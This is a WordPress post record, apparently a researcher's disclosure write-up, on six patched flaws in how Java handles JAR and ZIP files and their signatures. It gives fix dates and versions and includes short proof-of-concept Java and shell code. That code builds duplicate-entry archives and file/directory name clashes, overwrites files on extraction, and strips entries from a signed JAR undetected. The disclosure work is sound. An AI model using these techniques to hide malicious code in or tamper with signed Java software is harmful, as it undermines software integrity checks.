{"id":6881,"date":"2026-02-06T13:58:02","date_gmt":"2026-02-06T13:58:02","guid":{"rendered":"https:\/\/cybersecurityinfocus.com\/?p=6881"},"modified":"2026-02-06T13:58:02","modified_gmt":"2026-02-06T13:58:02","slug":"breaking-the-jars-security-issues-in-java-archives","status":"publish","type":"post","link":"https:\/\/cybersecurityinfocus.com\/?p=6881","title":{"rendered":"Breaking the JARs: Security Issues in Java ARchives"},"content":{"rendered":"<p class=\"wp-block-paragraph\"><em>\u201cThis building is protected by a very secure system \u2026 But like all systems it has a weakness. The system is based on the rules of a building. One system built on another.\u201d<\/em> (Keymaker \u2013 \u201cThe Matrix Reloaded\u201d)<\/p>\n<h1 class=\"wp-block-heading\">Summary<\/h1>\n<p class=\"wp-block-paragraph\">Six issues related to how Java handles JAR files, ZIP files and digital signatures in JAR files were reported to and fixed by OpenJDK \/ Oracle. These could be used to hide malicious files inside JARs, bypass digital signatures and overwrite existing content. One of the issues was assigned as CVE (CVE-2024-20932) and the rest were fixed without CVE assignments.<\/p>\n<h1 class=\"wp-block-heading\">Technical Details<\/h1>\n<p class=\"wp-block-paragraph\">The Java programming language supports the use of digital signatures to validate the authenticity of Java class files <a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/25\/docs\/specs\/jar\/jar.html\">packaged into JAR files<\/a> (JAR = Java ARchive). These are based <a href=\"https:\/\/pkwaredownloads.blob.core.windows.net\/pem\/APPNOTE.txt\">on the ZIP file format <\/a>with additional <a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/25\/docs\/specs\/jar\/jar.html#signed-jar-file\">of a special digital signature schema <\/a>which uses a set of special manifest files included in the ZIP file itself containing digital signatures applying to the rest of the files in the archive (unlike other signature schemes such as PGP or sigstore). This can lead to security issues related to how the manifest files or other files in the archive are stored or processed.<\/p>\n<p class=\"wp-block-paragraph\">Java also includes a number of classes and CLI utilities dealing with JAR files \u2013 all supporting digital signature validation:<\/p>\n<p><a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/25\/docs\/api\/java.base\/java\/util\/jar\/JarFile.html\">JarFile<\/a> \u2013 uses the central directory<\/p>\n<p><a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/25\/docs\/api\/java.base\/java\/util\/jar\/JarInputStream.html\">JarInputStream<\/a> \u2013 reads ZIP files in streaming mode, ignoring the central directory<\/p>\n<p><a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/25\/docs\/specs\/man\/jar.html\">jar<\/a> (cli) \u2013 used to create, update and extract JARs<\/p>\n<p><a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/25\/docs\/specs\/man\/jarsigner.html\">jarsigner<\/a> (cli) \u2013 used to sign and verify digital signatures for JAR files<\/p>\n<p class=\"wp-block-paragraph\">A key point to keep in mind regarding ZIP is that entries in the ZIP files appear through out the file (local) but also appear in an index located in the end of the file (central directory). Normal processing is done by reading the central directory then referencing entries from there but it is possible to process ZIP files in \u201cstreaming\u201d mode by ignoring the central directory and reading the entries directly. This can introduce an number of security issues by exploiting the differences between the two approaches. A good overview of this, the ZIP format and various ZIP attacks can be found here: <a href=\"https:\/\/www.youtube.com\/watch?v=8Uue8tARdNs\">https:\/\/www.youtube.com\/watch?v=8Uue8tARdNs<\/a>.<\/p>\n<h2 class=\"wp-block-heading\">Issue #1 \u2013 Duplicate File Handling in jar CLI<\/h2>\n<p class=\"wp-block-paragraph\">The Java <a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/25\/docs\/specs\/man\/jar.html\">jar<\/a> cli did not correctly handle a case where two entries with the same file name would appear in the same JAR file. This could be exploited to hide a malicious file as a second duplicate entry and used to overwrite a legit file already in the JAR or bypass signature validation. <a href=\"https:\/\/github.com\/openjdk\/jdk\/commit\/cd052c72cdb62186e66c1d2ecf9216f3df61b242#diff-fb1365d167e1f2ada508e2596b0bce04191da02b6a4deb20829617480e943d7a\">This issue was fixed <\/a>by adding detection for this edge case on May 28th, 2025 and the fix was shipped in the following JDK versions: 25. See <a href=\"https:\/\/www.oracle.com\/java\/technologies\/javase\/25-relnote-issues.html\">release notes<\/a>:<\/p>\n<p class=\"wp-block-paragraph\"><em>\u201cThe\u00a0jar &#8211;validate\u00a0command has been enhanced to identify and generate a warning message for: \u2026 Duplicate entry names\u201d<\/em><\/p>\n<p class=\"wp-block-paragraph\">The following Java code can be used for generate a proof of concept JAR:<\/p>\n<div class=\"wp-block-code\">\n<div class=\"cm-editor\">\n<div class=\"cm-scroller\">\n<div class=\"cm-line\">import java.io.*;<\/div>\n<div class=\"cm-line\">import java.util.zip.*;<\/div>\n<div class=\"cm-line\">import java.lang.reflect.*;<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\">public class CreateDuplicateJar {<\/div>\n<div class=\"cm-line\">    public static void main(String[] args) throws Exception {<\/div>\n<div class=\"cm-line\">        FileOutputStream fos = new FileOutputStream(&#8220;duplicate.jar&#8221;);<\/div>\n<div class=\"cm-line\">        ZipOutputStream zos = new ZipOutputStream(fos);<\/div>\n<div class=\"cm-line\">        <\/div>\n<div class=\"cm-line\">        \/\/ Clear the names HashSet to allow duplicates<\/div>\n<div class=\"cm-line\">        Field namesField = ZipOutputStream.class.getDeclaredField(&#8220;names&#8221;);<\/div>\n<div class=\"cm-line\">        namesField.setAccessible(true);<\/div>\n<div class=\"cm-line\">        <\/div>\n<div class=\"cm-line\">        zos.putNextEntry(new ZipEntry(&#8220;Test.class&#8221;));<\/div>\n<div class=\"cm-line\">        zos.write(&#8220;first&#8221;.getBytes());<\/div>\n<div class=\"cm-line\">        zos.closeEntry();<\/div>\n<div class=\"cm-line\">        <\/div>\n<div class=\"cm-line\">        ((java.util.HashSet)namesField.get(zos)).clear();<\/div>\n<div class=\"cm-line\">        <\/div>\n<div class=\"cm-line\">        zos.putNextEntry(new ZipEntry(&#8220;Test.class&#8221;));<\/div>\n<div class=\"cm-line\">        zos.write(&#8220;second&#8221;.getBytes());<\/div>\n<div class=\"cm-line\">        zos.closeEntry();<\/div>\n<div class=\"cm-line\">        <\/div>\n<div class=\"cm-line\">        zos.close();<\/div>\n<div class=\"cm-line\">    }<\/div>\n<div class=\"cm-line\">}<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p class=\"wp-block-paragraph\">You can test this on a fixed version of the JDK (25) by running the validate command:<\/p>\n<div class=\"wp-block-code\">\n<div class=\"cm-editor\">\n<div class=\"cm-scroller\">\n<div class=\"cm-line\">jar &#8211;validate duplicate.jar<\/div>\n<\/div>\n<\/div>\n<\/div>\n<h2 class=\"wp-block-heading\">Issue #2 \u2013 Overwriting existing files via jar CLI (-x)<\/h2>\n<p class=\"wp-block-paragraph\">The Java <a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/25\/docs\/specs\/man\/jar.html\">jar<\/a> cli includes an extract (-x) option which extracts files to the file system. The tool didn\u2019t check if the files being extracted are overwriting a file already present. This can be exploited to overwrite security sensitive files without user\u2019s knowledge. The issue was fixed by adding a new option (\u2013keep-old-files\u00a0\/\u00a0-k) which will prevent overwriting of files. This <a href=\"https:\/\/github.com\/openjdk\/jdk\/commit\/158b93d19a518d2b9d3d185e2d4c4dbff9c82aab\">was fixed<\/a> on October 23th, 2024 and shipped in the following JDK versions: 21.0.6, 17.0.14, 11.0.27 and 8u452. The following was added to the <a href=\"https:\/\/www.oracle.com\/java\/technologies\/javase\/24-relnote-issues.html\">release notes<\/a>:<\/p>\n<p class=\"wp-block-paragraph\"><em>\u201cThe\u00a0jar\u00a0tool\u2019s extract operation has been enhanced to allow the\u00a0&#8211;keep-old-files\u00a0and the\u00a0-k\u00a0options to be used in preventing the overwriting of existing files. \u2026 Either of these commands will extract the contents of\u00a0foo.jar. If an entry with the same name already exists in the target directory, then the existing file will not be overwritten.\u201d<\/em><\/p>\n<p class=\"wp-block-paragraph\">The following shell script can be used as proof of concept:<\/p>\n<div class=\"wp-block-code\">\n<div class=\"cm-editor\">\n<div class=\"cm-scroller\">\n<div class=\"cm-line\">#!\/bin\/bash<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\"># Setup<\/div>\n<div class=\"cm-line\">echo &#8220;original&#8221; &gt; file.txt<\/div>\n<div class=\"cm-line\">jar cf test.jar file.txt<\/div>\n<div class=\"cm-line\">rm file.txt<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\"># Test 1: Normal extraction (overwrites)<\/div>\n<div class=\"cm-line\">echo &#8220;=== Test 1: Normal extraction ===&#8221;<\/div>\n<div class=\"cm-line\">echo &#8220;existing&#8221; &gt; file.txt<\/div>\n<div class=\"cm-line\">jar xvf test.jar<\/div>\n<div class=\"cm-line\">echo &#8220;Content: $(cat file.txt)&#8221;<\/div>\n<div class=\"cm-line\">rm file.txt<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\"># Test 2: Keep old files (skips)<\/div>\n<div class=\"cm-line\">echo -e &#8220;n=== Test 2: Keep old files (-k) ===&#8221;<\/div>\n<div class=\"cm-line\">echo &#8220;existing&#8221; &gt; file.txt<\/div>\n<div class=\"cm-line\">jar xkvf test.jar<\/div>\n<div class=\"cm-line\">echo &#8220;Content: $(cat file.txt)&#8221;<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\"># Cleanup<\/div>\n<div class=\"cm-line\">rm file.txt test.jar<\/div>\n<\/div>\n<\/div>\n<\/div>\n<h2 class=\"wp-block-heading\">Issue #3 \u2013 Duplicate directory entries (JDK17 only) \u2013 CVE-2024-20932<\/h2>\n<p class=\"wp-block-paragraph\">The ZIP classes in Java failed to correctly handle an edge case where two entries exist in a ZIP file, one as a file and another that\u2019s a directory. Can be exploited to bypass certain restrictions or hide malicious data. This <a href=\"https:\/\/github.com\/openjdk\/jdk17u\/commit\/f6f32bf256e34447f54be823fdfb2e64e235e404\">was fixed<\/a> on January 9th, 2024 and shipped in the following JDK versions: 17.0.19. CVE-2024-20932 was assigned to this issue:<\/p>\n<p class=\"wp-block-paragraph\"><em>\u201cIt was discovered that the Libraries component in OpenJDK failed to properly handle ZIP archives that contain a file and directory entry with the same name within the ZIP file. This could lead to integrity issues when extracting data from such archives. An untrusted Java application or applet could use this flaw to bypass Java sandbox restrictions.\u201d<\/em><\/p>\n<p class=\"wp-block-paragraph\">The following Java code is a proof of concept for this issue:<\/p>\n<div class=\"wp-block-code\">\n<div class=\"cm-editor\">\n<div class=\"cm-scroller\">\n<div class=\"cm-line\">import java.io.*;<\/div>\n<div class=\"cm-line\">import java.util.zip.*;<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\">public class ZipDuplicateEntryPOC {<\/div>\n<div class=\"cm-line\">    public static void main(String[] args) throws Exception {<\/div>\n<div class=\"cm-line\">        String zipName = &#8220;poc.zip&#8221;;<\/div>\n<div class=\"cm-line\">        <\/div>\n<div class=\"cm-line\">        \/\/ Create ZIP with both &#8220;test&#8221; file and &#8220;test\/&#8221; directory<\/div>\n<div class=\"cm-line\">        try (ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipName))) {<\/div>\n<div class=\"cm-line\">            \/\/ Add file entry &#8220;test&#8221;<\/div>\n<div class=\"cm-line\">            ZipEntry fileEntry = new ZipEntry(&#8220;test&#8221;);<\/div>\n<div class=\"cm-line\">            zos.putNextEntry(fileEntry);<\/div>\n<div class=\"cm-line\">            zos.write(&#8220;FILE_CONTENT&#8221;.getBytes());<\/div>\n<div class=\"cm-line\">            zos.closeEntry();<\/div>\n<div class=\"cm-line\">            <\/div>\n<div class=\"cm-line\">            \/\/ Add directory entry &#8220;test\/&#8221;<\/div>\n<div class=\"cm-line\">            ZipEntry dirEntry = new ZipEntry(&#8220;test\/&#8221;);<\/div>\n<div class=\"cm-line\">            zos.putNextEntry(dirEntry);<\/div>\n<div class=\"cm-line\">            zos.closeEntry();<\/div>\n<div class=\"cm-line\">        }<\/div>\n<div class=\"cm-line\">        <\/div>\n<div class=\"cm-line\">        \/\/ Test getEntry behavior<\/div>\n<div class=\"cm-line\">        try (ZipFile zf = new ZipFile(zipName)) {<\/div>\n<div class=\"cm-line\">            ZipEntry entry = zf.getEntry(&#8220;test&#8221;);<\/div>\n<div class=\"cm-line\">            <\/div>\n<div class=\"cm-line\">            System.out.println(&#8220;Entry name: &#8221; + entry.getName());<\/div>\n<div class=\"cm-line\">            System.out.println(&#8220;Is directory: &#8221; + entry.isDirectory());<\/div>\n<div class=\"cm-line\">            System.out.println(&#8220;Size: &#8221; + entry.getSize());<\/div>\n<div class=\"cm-line\">            <\/div>\n<div class=\"cm-line\">            if (entry.isDirectory()) {<\/div>\n<div class=\"cm-line\">                System.out.println(&#8220;n[VULNERABLE] Got directory entry instead of file!&#8221;);<\/div>\n<div class=\"cm-line\">            } else {<\/div>\n<div class=\"cm-line\">                System.out.println(&#8220;n[PATCHED] Got file entry correctly&#8221;);<\/div>\n<div class=\"cm-line\">            }<\/div>\n<div class=\"cm-line\">        }<\/div>\n<div class=\"cm-line\">    }<\/div>\n<div class=\"cm-line\">}<\/div>\n<\/div>\n<\/div>\n<\/div>\n<h2 class=\"wp-block-heading\">Issue #4 \u2013 Incorrect handling of duplicate manifest files (JarInputStream)<\/h2>\n<p class=\"wp-block-paragraph\">The <a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/25\/docs\/api\/java.base\/java\/util\/jar\/JarInputStream.html\">JarInputStream<\/a> incorrectly handled cases where the manifest would appear twice in the same JAR file in regards to digital signatures. <a href=\"https:\/\/github.com\/openjdk\/jdk\/commit\/ef38a04b448f97036c516ba87cb86afcc7559d1f\">This was fixed<\/a> on April 16th, 2025 and shipped in the following JDK versions: 21.0.7, 17.0.15, 11.0.27 and 8u452. See <a href=\"https:\/\/www.oracle.com\/java\/technologies\/javase\/8all-relnotes.html:\">release notes<\/a>:<\/p>\n<p class=\"wp-block-paragraph\"><em>\u201cThe\u00a0JarInputStream\u00a0class now treats a signed JAR as unsigned if it detects a second manifest within the first two entries in the JAR file. A warning message\u00a0&#8220;WARNING: Multiple MANIFEST.MF found. Treat JAR file as unsigned.&#8221;\u00a0is logged if the system property,\u00a0-Djava.security.debug=jar, is set.\u201d<\/em><\/p>\n<p class=\"wp-block-paragraph\">No POC code is available<\/p>\n<h2 class=\"wp-block-heading\">Issue #5 \u2013 Digital signature bypass via local\/central header confusion<\/h2>\n<p class=\"wp-block-paragraph\">The various CLIs and classes handling JAR files read file entries either as streaming (local headers) or central directory mode. It is possible for an attacker to exploit the differences between the various implementations by adding file entries to the local headers which will pass digital signature validation based on central directory and then be extract when local headers \/ streaming mode is used. <a href=\"https:\/\/github.com\/openjdk\/jdk\/commit\/cd052c72cdb62186e66c1d2ecf9216f3df61b242#diff-fb1365d167e1f2ada508e2596b0bce04191da02b6a4deb20829617480e943d7a\">This issue was fixed <\/a>by adding detection for this edge case on May 28th, 2025 and the fix was shipped in the following JDK versions: 25.b26. See <a href=\"https:\/\/www.oracle.com\/java\/technologies\/javase\/25-relnote-issues.html\">release notes<\/a>:<\/p>\n<p class=\"wp-block-paragraph\"><em>\u201cThe\u00a0jar &#8211;validate\u00a0command has been enhanced to identify and generate a warning message for \u2026 Inconsistencies in the ordering of entries between the LOC and CEN headers\u201d<\/em><\/p>\n<p class=\"wp-block-paragraph\">No POC code is available<\/p>\n<h2 class=\"wp-block-heading\">Issue #6 \u2013 No detection of signed content being removed (jarsigner)<\/h2>\n<p class=\"wp-block-paragraph\">The Java <a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/25\/docs\/specs\/man\/jarsigner.html\">jarsigner<\/a> cli failed to detect when a digitally signed JAR file had some file entries removed. This can be exploited to impact security by removing service provider classes or security policy files. The issue was fixed by adding detection of deleted content that was digitally signed and the fix was shipped in the following JDK versions: 21.0.8, 17.0.16, 11.0.28 and 8u462. This <a href=\"https:\/\/github.com\/openjdk\/jdk\/commit\/bdfb41f977258831e4b0ceaef5d016d095ab6e7f#diff-5fd5da97952e83f45236a6263fdd3be98e25525a1cb032db3776c5bfdeabf21c\">was fixed<\/a> on October 2nd, 2024 \u2013 see <a href=\"https:\/\/www.oracle.com\/java\/technologies\/javase\/21-0-8-relnotes.html\">release notes<\/a>:<\/p>\n<p class=\"wp-block-paragraph\"><em>\u201cIf an entry is removed from a signed JAR file, there is no mechanism to detect that it has been removed using the\u00a0JarFile\u00a0API, since the\u00a0getJarEntry\u00a0method returns\u00a0null\u00a0as if the entry had never existed. With this change, the\u00a0jarsigner -verify\u00a0command analyzes the signature files and if some sections do not have matching file entries, it prints out the following warning: \u201cThis JAR contains signed entries for files that do not exist\u201d. Users can further find out the names of these entries by adding the\u00a0-verbose\u00a0option to the command.\u201d<\/em><\/p>\n<p class=\"wp-block-paragraph\">The following shell script can be used as a proof of concept:<\/p>\n<div class=\"wp-block-code\">\n<div class=\"cm-editor\">\n<div class=\"cm-scroller\">\n<div class=\"cm-line\">#!\/bin\/bash<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\">set -e<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\">echo &#8220;[*] Creating test files&#8230;&#8221;<\/div>\n<div class=\"cm-line\">echo &#8220;sensitive data&#8221; &gt; secret.txt<\/div>\n<div class=\"cm-line\">echo &#8220;normal data&#8221; &gt; normal.txt<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\">echo &#8220;[*] Creating JAR with both files&#8230;&#8221;<\/div>\n<div class=\"cm-line\">jar cf app.jar secret.txt normal.txt<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\">echo &#8220;[*] Generating signing key&#8230;&#8221;<\/div>\n<div class=\"cm-line\">keytool -genkeypair -alias testkey -keyalg RSA -keysize 2048 <\/div>\n<div class=\"cm-line\">    -keystore keystore.jks -storepass changeit -keypass changeit <\/div>\n<div class=\"cm-line\">    -dname &#8220;CN=Test&#8221; -validity 365 2&gt;\/dev\/null<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\">echo &#8220;[*] Signing JAR&#8230;&#8221;<\/div>\n<div class=\"cm-line\">jarsigner -keystore keystore.jks -storepass changeit -keypass changeit <\/div>\n<div class=\"cm-line\">    app.jar testkey 2&gt;\/dev\/null<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\">echo &#8220;[*] Verifying signed JAR (should pass)&#8230;&#8221;<\/div>\n<div class=\"cm-line\">jarsigner -verify app.jar<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\">echo -e &#8220;n[!] ATTACK: Removing secret.txt from signed JAR&#8230;&#8221;<\/div>\n<div class=\"cm-line\">zip -d app.jar secret.txt<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\">echo -e &#8220;n[*] Verifying JAR after removal&#8230;&#8221;<\/div>\n<div class=\"cm-line\">jarsigner -verify app.jar<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\">echo -e &#8220;n[*] Checking JAR contents&#8230;&#8221;<\/div>\n<div class=\"cm-line\">jar tf app.jar<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\">echo -e &#8220;n[!] Result: JAR still appears signed but secret.txt is gone!&#8221;<\/div>\n<div class=\"cm-line\">echo &#8220;[!] The signature for secret.txt remains in META-INF\/*.SF&#8221;<\/div>\n<div class=\"cm-line\">echo &#8220;[!] This could hide evidence of file removal or tampering&#8221;<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\"># Cleanup<\/div>\n<div class=\"cm-line\">rm -f secret.txt normal.txt app.jar keystore.jks<\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\"><\/div>\n<div class=\"cm-line\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<h1 class=\"wp-block-heading\">Disclosure Information and References<\/h1>\n<p class=\"wp-block-paragraph\">With exception of issue # 3 above (CVE-2024-20932), all remaining issues were not issued a CVE and some received an in-depth security fix acknowledgement by Oracle \/ OpenJDK.<\/p>\n<p><strong><span>Issue #1 \u2013 Duplicate File Handling in jar CLI:<\/span><\/strong><\/p>\n<p>Bug: <a href=\"https:\/\/bugs.openjdk.org\/browse\/JDK-8345431\">https:\/\/bugs.openjdk.org\/browse\/JDK-8345431<\/a><\/p>\n<p>Git commit: <a href=\"https:\/\/github.com\/openjdk\/jdk\/commit\/cd052c72cdb62186e66c1d2ecf9216f3df61b242\">https:\/\/github.com\/openjdk\/jdk\/commit\/cd052c72cdb62186e66c1d2ecf9216f3df61b242<\/a><\/p>\n<p>Fixed versions: 25<\/p>\n<p><strong><span>Issue #2 \u2013 Overwriting existing files via jar CLI (-x):<\/span><\/strong><\/p>\n<p>Bug: <a href=\"https:\/\/bugs.openjdk.org\/browse\/JDK-8335912\">https:\/\/bugs.openjdk.org\/browse\/JDK-8335912<\/a><\/p>\n<p>Git commit: <a href=\"https:\/\/github.com\/openjdk\/jdk\/commit\/158b93d19a518d2b9d3d185e2d4c4dbff9c82aab\">https:\/\/github.com\/openjdk\/jdk\/commit\/158b93d19a518d2b9d3d185e2d4c4dbff9c82aab<\/a><\/p>\n<p>Fixed versions: 21.0.6, 17.0.14, 11.0.27 and 8u452<\/p>\n<p><strong><span>Issue #3 \u2013 Duplicate directory entries (JDK17 only):<\/span><\/strong><\/p>\n<p>CVE: <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2024-20932\">https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2024-20932<\/a><\/p>\n<p>Git commit: <a href=\"https:\/\/github.com\/openjdk\/jdk17u\/commit\/f6f32bf256e34447f54be823fdfb2e64e235e404\">https:\/\/github.com\/openjdk\/jdk17u\/commit\/f6f32bf256e34447f54be823fdfb2e64e235e404<\/a><\/p>\n<p>Redhat Bugzilla entry: <a href=\"https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=CVE-2024-20932\">https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=CVE-2024-20932<\/a><\/p>\n<p><strong><span>Issue #4 \u2013 Incorrect handling of duplicate manifest files (JarInputStream):<\/span><\/strong><\/p>\n<p>Bug: JDK-8337494<\/p>\n<p>Git commit: <a href=\"https:\/\/github.com\/openjdk\/jdk\/commit\/ef38a04b448f97036c516ba87cb86afcc7559d1f\">https:\/\/github.com\/openjdk\/jdk\/commit\/ef38a04b448f97036c516ba87cb86afcc7559d1f<\/a><\/p>\n<p>Fixed versions: 21.0.7, 17.0.15, 11.0.27 and 8u452<\/p>\n<p><strong><span>Issue #5 \u2013 verification bypass via local\/central header confusion:<\/span><\/strong><\/p>\n<p>Bug: <a href=\"https:\/\/bugs.openjdk.org\/browse\/JDK-8345431\">https:\/\/bugs.openjdk.org\/browse\/JDK-8345431<\/a><\/p>\n<p>Git commit: <a href=\"https:\/\/github.com\/openjdk\/jdk\/commit\/cd052c72cdb62186e66c1d2ecf9216f3df61b242\">https:\/\/github.com\/openjdk\/jdk\/commit\/cd052c72cdb62186e66c1d2ecf9216f3df61b242<\/a><\/p>\n<p>Fixed versions: 25<\/p>\n<p><strong><span>Issue #6 \u2013 No detection of signed content being removed (jarsigner):<\/span><\/strong><\/p>\n<p>Bug: <a href=\"https:\/\/bugs.openjdk.org\/browse\/JDK-8309841\">https:\/\/bugs.openjdk.org\/browse\/JDK-8309841<\/a><\/p>\n<p>Git commit: <a href=\"https:\/\/github.com\/openjdk\/jdk\/commit\/bdfb41f977258831e4b0ceaef5d016d095ab6e7f\">https:\/\/github.com\/openjdk\/jdk\/commit\/bdfb41f977258831e4b0ceaef5d016d095ab6e7f<\/a><\/p>\n<p>Fixed versions: 25.b26<\/p>\n<h1 class=\"wp-block-heading\">Acknowledgements<\/h1>\n<p class=\"wp-block-paragraph\">The author would like to thank everyone who was involved in the disclosure process for these issues \u2013 you know who you are.<\/p>","protected":false},"excerpt":{"rendered":"<p>\u201cThis building is protected by a very secure system \u2026 But like all systems it has a weakness. The system is based on the rules of a building. One system built on another.\u201d (Keymaker \u2013 \u201cThe Matrix Reloaded\u201d) Summary Six issues related to how Java handles JAR files, ZIP files and digital signatures in JAR [&hellip;]<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-6881","post","type-post","status-publish","format-standard","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/6881"}],"collection":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6881"}],"version-history":[{"count":0,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=\/wp\/v2\/posts\/6881\/revisions"}],"wp:attachment":[{"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6881"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6881"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cybersecurityinfocus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6881"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}